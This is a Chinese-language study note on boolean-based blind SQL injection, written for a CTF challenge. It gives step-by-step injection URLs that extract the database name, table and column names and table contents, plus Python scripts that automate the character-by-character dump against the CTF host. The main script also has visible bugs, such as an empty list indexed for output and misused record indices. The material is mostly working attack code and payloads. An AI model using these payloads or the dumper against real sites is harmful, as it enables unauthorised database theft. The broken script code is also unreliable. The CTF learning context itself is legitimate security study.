基于布尔的盲注学习笔记

exp利用到的ctf题： 简单的sql注入之3

步骤：

首先测试是否为布尔盲注：

http://localhost/index.php?id=2

http://localhost/index.php?id=2'

http://localhost/index.php?id=2''

http://localhost/index.php?id=2%23

http://localhost/index.php?id=2' and 1=1#

若为布尔盲注，则按照以下步骤进行：

一、得到数据库的长度

http://localhost/index.php?id=2' and length(database())>1%23

二、获取数据库名称

姿势： http://localhost/index.php?id=2' and ascii(substr(database(), {0}, 1))={1}%23

python脚本自动获取：

import requests

def getDBName(DBName_len):
    DBName = ""
   
    success_url = "http://ctf5.shiyanbar.com/web/index_3.php?id=2"
    success_response_len = len(requests.get(success_url).text)
   
    url_template = "http://ctf5.shiyanbar.com/web/index_3.php?id=2' and ascii(substr(database(),{0},1))={1}%23"
    chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
   
    print("Start to retrieve database name...")
    print("Success_response_len is: ", success_response_len)
    for i in range( 1, DBName_len + 1):
        print("Number of letter: " , i)
        tempDBName = DBName
        for char in chars:
            print("Test letter " + char)
            char_ascii = ord(char)
            url = url_template.format(i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                DBName += char
                print("DBName is: " + DBName + "...")
                break
        if tempDBName == DBName:
            print("Letters too little! Program ended." )
            exit()
    print("Retrieve completed! DBName is: " + DBName)
   
getDBName(5) 

三、获取表长度

姿势： http://localhost/index.php?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23

四、获取表名

和第二步获得数据库名差不多，姿势稍微变了一下：

http://localhost/index.php?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)), {0}, 1)={1}%23

五、获取字段的个数和长度

姿势： http://localhost/index.php?id=2' and (select length(column_name) from information_schema.columns where table_name = 0x666C6167 limit 0,1)>0%23

其中limit 0,1表示第一列，limit 1,1为第二列，依次类推。

六、获取字段名称

姿势： http://localhost/index.php?id=2' and ascii(substr((select column_name from information_schema.columns where table_name = 0x666C6167 limit 0,1), {0}, 1))={1}%23

七、脱裤

1.首先判断有该表有多少条记录：

http://localhost/index.php?id=2' and (select count(*) from flag)>0%23

2.然后获取当前记录的长度：

http://localhost/index.php?id=2' and (select length(flag) from flag limit 0,1)>0%23

3.获取当前记录的值：

http://localhost/index.php?id=2' and ascii(substr((select flag from flag limit 0,1), {0}, 1))={1}%23

自己写的脚本：

import requests
import binascii

MAX_DBName_len = 100
MAX_TableName_len = 100
MAX_ColumnName_len = 100
MAX_Data_len = 100
MAX_Table_Num = 100
MAX_Column_Num = 100
MAX_Data_Num = 100

success_url = "http://ctf5.shiyanbar.com/web/index_3.php?id=2"
success_response_len = len(requests.get(success_url).text)
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_!@#$%^&*()'

def get_DBName_len():
    print("Start to get DBName_len...")
    DBName_len = 0
    url_template = success_url + "' and (length(database()))>{0}%23"
    for i in range(0, MAX_DBName_len):
        url = url_template.format(i)
        response = requests.get(url)
        if len(response.text) != success_response_len:
            DBName_len = i;
            print("DBName_len is: ", DBName_len)
            break;
    if DBName_len == 0:
        if i == MAX_DBName_len - 1:
            print("DBName_len > MAX_DBName_len!")
        print("Cannot get DB_len. Program ended.")
        exit()
    return DBName_len

def get_DBName(DBName_len):
    print("Start to retrieve database name...")
    DBName = ""
    url_template = success_url + "' and ascii(substr(database(),{0},1))={1}%23"   
    for i in range(1, DBName_len + 1):
        print("Number of letter: ", i)
        tempDBName = DBName
        for char in chars:
            print("Test letter " + char)
            char_ascii = ord(char)
            url = url_template.format(i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                DBName += char
                print("DBName is: " + DBName + "...")
                break
        if tempDBName == DBName:
            print("Letters too little! Program ended.")
            exit()
    print("Retrieve completed! DBName is: " + DBName)
    return DBName

def get_TableName_len(Table_num):
    print("Start to get TableName_len...")
    TableName_len = 0
    url_template = success_url + "' and (select length(table_name) from information_schema.tables where table_schema = database() limit {0},1)>{1}%23"
    for i in range(0, MAX_TableName_len):
        url = url_template.format(Table_num - 1, i)
        response = requests.get(url)
        if len(response.text) != success_response_len:
            TableName_len = i
#             print("TabelName_len is: ", TableName_len)
            break
    if TableName_len == 0:
        if i == MAX_TableName_len - 1:
            print("TableName_len > MAX_TableName_len!")
#         print("Cannot get TableName_len. Program ended.")
    return TableName_len

def get_TableName(Table_num, TableName_len):
    print("Start to get TableName...")
    TableName = ""
    url_template = success_url + "' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {0},1),{1},1))={2}%23"   
    for i in range(1, TableName_len + 1):
        print("Number of letter: ", i)
        tempTableName = TableName
        for char in chars:
            print("Test letter " + char)
            char_ascii = ord(char)
            url = url_template.format(Table_num - 1, i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                TableName += char
                print("TableName is: " + TableName + "...")
                break           
        if tempTableName == TableName:
            print("Letters too little! Program ended.")
            exit()
    print("Retrieve completed! TableName is: " + TableName)
    return TableName

def choose_Table():
    Tables = []
    for Table_num in range(1, MAX_Table_Num):
        TableName_len = get_TableName_len(Table_num)
        if TableName_len == 0:
            break
        TableName = get_TableName(Table_num, TableName_len)
        Tables.append(TableName)
    for i in range(len(Tables)):
        print(i, ": " + Tables[i - 1])
    value = input('Please input number to choose which table you want to dump:')
    Table_num_chosen = int(value)
    print("You have chose table: " + Tables[Table_num_chosen - 1])
    return Tables[Table_num_chosen - 1]

def get_ColumnName_len(Column_num, TableName):
    print("Start to get ColumnName_len...")
    ColumnName_len = 0
    url_template = success_url + "' and (select length(column_name) from information_schema.columns where table_name = {0} limit {1},1)>{2}%23"
    for i in range(0, MAX_ColumnName_len):
        url = url_template.format(str2hex(TableName), Column_num - 1, i)
        response = requests.get(url)
        if len(response.text) != success_response_len:
            ColumnName_len = i
            print("ColumnName_len is: ", ColumnName_len)
            break
    if ColumnName_len == 0:
        if i == MAX_ColumnName_len - 1:
            print("ColumnName_len > MAXName_Column_len!")
    return ColumnName_len

def get_ColumnName(Column_num, ColumnName_len, TableName):
    print("Start to get ColumnName...")
    ColumnName = ""
    url_template = success_url + "' and ascii(substr((select column_name from information_schema.columns where table_name = {0} limit {1},1),{2},1))={3}%23"   
    for i in range(1, ColumnName_len + 1):
        print("Number of letter: ", i)
        tempColumnName = ColumnName
        for char in chars:
            print("Test letter " + char)
            char_ascii = ord(char)
            url = url_template.format(str2hex(TableName), Column_num - 1, i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                ColumnName += char
                print("ColumnName is: " + ColumnName + "...")
                break           
        if tempColumnName == ColumnName:
            print("Letters too little! Program ended.")
            exit()
    print("Retrieve completed! ColumnName is: " + ColumnName)
    return ColumnName

def get_Columns(TableName):
    Columns = []
    for Column_num in range(1, MAX_Column_Num):
        ColumnName_len = get_ColumnName_len(Column_num, TableName)
        if ColumnName_len == 0:
            break
        ColumnName = get_ColumnName(Column_num, ColumnName_len, TableName)
        Columns.append(ColumnName)
    for i in range(len(Columns)):
        print(i, ": " + Columns[i - 1])
    return Columns

def get_Data_len(TableName, ColumnName, Data_num):
    print("Start to get Data_len...")
    Data_len = 0
    url_template = success_url + "' and (select length({0}) from {1} limit {2},1)>{3}%23"
    for i in range(0, MAX_Data_len):
        url = url_template.format(ColumnName, TableName, Data_num - 1, i)
        response = requests.get(url)
        if len(response.text) != success_response_len:
            Data_len = i
            print("Data_len is: ", Data_len)
            break
    if Data_len == 0:
        if i == MAX_Data_len - 1:
            print("Data_len > MAX_Data_len!")
    return Data_len

def get_Data(TableName, ColumnName, Data_num, Data_len):
    print("Start to get Data...")
    Data = ""
    url_template = success_url + "' and ascii(substr((select {0} from {1} limit {2},1),{3},1))={4}%23"   
    for i in range(1, Data_len + 1):
        print("Number of letter: ", i)
        tempData = Data
        for char in chars:
            print("Test letter " + char)
            char_ascii = ord(char)
            url = url_template.format(ColumnName, TableName, Data_num - 1, i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                Data += char
                print("Data is: " + Data + "...")
                break           
        if tempData == Data:
            print("Letters too little! Program ended.")
            exit()
    print("Retrieve completed! Data is: " + Data)
    return Data

def get_Data_num(TableName):
    print("Start to get Data_num...")
    Data_num = 0
    url_template = success_url + "' and (select count(*) from {0})>{1}%23"
    for i in range(0, MAX_Data_Num):
        url = url_template.format(TableName, i)
        response = requests.get(url)
        if len(response.text) != success_response_len:
            Data_num = i
            print("Data_num is: ", Data_num)
            break
    if Data_num == 0:
        if i == MAX_Data_Num - 1:
            print("Data_num > MAX_Data_Num!")
        print("Cannot get Data_len.")
    return Data_num

def str2hex(str):
    result = "0x"
    str_byte = str.encode()
    result = result + binascii.b2a_hex(str_byte).decode()
    return result

DBName_len = get_DBName_len()
DBName = get_DBName(DBName_len)

TableName = choose_Table()
Columns = get_Columns(TableName)
Data_num = get_Data_num(TableName)

Datas = []
for i in range(len(Columns)):
    ColumnName = Columns[i]
    for j in range(Data_num):
        Data_len = get_Data_len(TableName, ColumnName, Data_num)
        Data = get_Data(TableName, ColumnName, Data_num, Data_len)
        Datas[j] += "\t" + Data

print("***************************")
print("Database: " + DBName + "Table: " + TableName)
print("***************************")
print("\t")
for i in range(len(Columns)):
    print(Columns[i], end="\t")
for i in range(Data_num):
    print(Datas[i])
print("Program successfully ended!")
print("***************************")
# #the first table
# Table_num = 1
# TableName_len = get_TableName_len(Table_num)
# TableName = get_TableName(Table_num, TableName_len)
#
# #the first column
# Column_num = 1
# ColumnName_len = get_ColumnName_len(Column_num, TableName)
# ColumnName = get_ColumnName(Column_num, ColumnName_len)
# 
# #the first record
# Data_num = 1
# Data_len = get_Data_len(TableName, ColumnName, Data_num)
# Data = get_Data(TableName, ColumnName, Data_num, Data_len)
#
# print("***************************")
# print("Database: " + DBName)
# print("Table: " + TableName)
# print("Column: " + ColumnName)
# print("Data: " + Data)
# print("Program successfully ended!")
# print("***************************")